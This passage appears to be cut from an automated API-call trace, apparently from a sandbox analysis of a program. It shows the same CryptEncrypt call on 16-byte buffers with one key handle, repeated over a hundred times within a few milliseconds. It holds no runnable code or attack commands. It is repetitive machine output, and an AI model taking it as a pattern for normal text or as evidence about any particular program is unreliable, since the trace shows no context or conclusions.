dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.339] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.340] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.341] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.342] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.343] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.344] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, 